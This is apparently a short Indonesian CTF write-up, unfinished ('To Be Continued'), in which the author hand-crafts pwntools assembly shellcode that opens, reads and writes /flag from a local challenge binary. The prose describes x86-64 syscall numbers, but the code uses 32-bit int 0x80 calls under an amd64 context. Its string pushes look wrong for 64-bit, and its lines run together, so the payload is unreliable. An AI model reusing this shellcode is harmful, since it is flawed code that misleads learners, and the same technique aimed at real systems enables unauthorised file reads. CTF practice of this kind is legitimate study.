Deskripsi
Shellcraft bagus dan powerfull, tapi kurang nendang, sebagai orang yang menikmati suffering, selalu mencari jalan yang lebih susah dan rumit, gw akan mencoba untuk crafting sendiri pake assembly, dan gw usahakan bener bener crafting sendiri tanpa bantuan AI.
Craft Shellcode Cat /flag
Jadi secara garis besar, shellcode cat /flag ini nantinya akan memiliki pattern yang sama, yatu terbagi 4 bagian. Bagian pertama open, atau membuka file /flagnya dengan code sys_open rax 2, bagian kedua yaitu read atau sys_read rax 0, yang ketiga write atau sys_write rax 1, dan yang terakhir exit atau sys_exit rax 60. Alurnya gini, awalnya file di-open -> read -> write -> exit. Langsung aja
from pwn import *
context.binary = ELF('/chall')context.update(arch='amd64', os='linux')
sc = asm("""_start:xor eax, eaxpush 0x67push 0x616c662fmov eax, 5mov ebx, espxor edx, edxint 0x80
mov ebx, eaxsub esp, 0x100mov ecx, espmov edx, 0x100mov eax, 3int 0x80
mov edx, eaxmov ebx, 1mov eax, 4int 0x80
mov eax, 1xor ebx, ebxint 0x80""")
p = process()p.send(sc)p.interactive()To BeContinued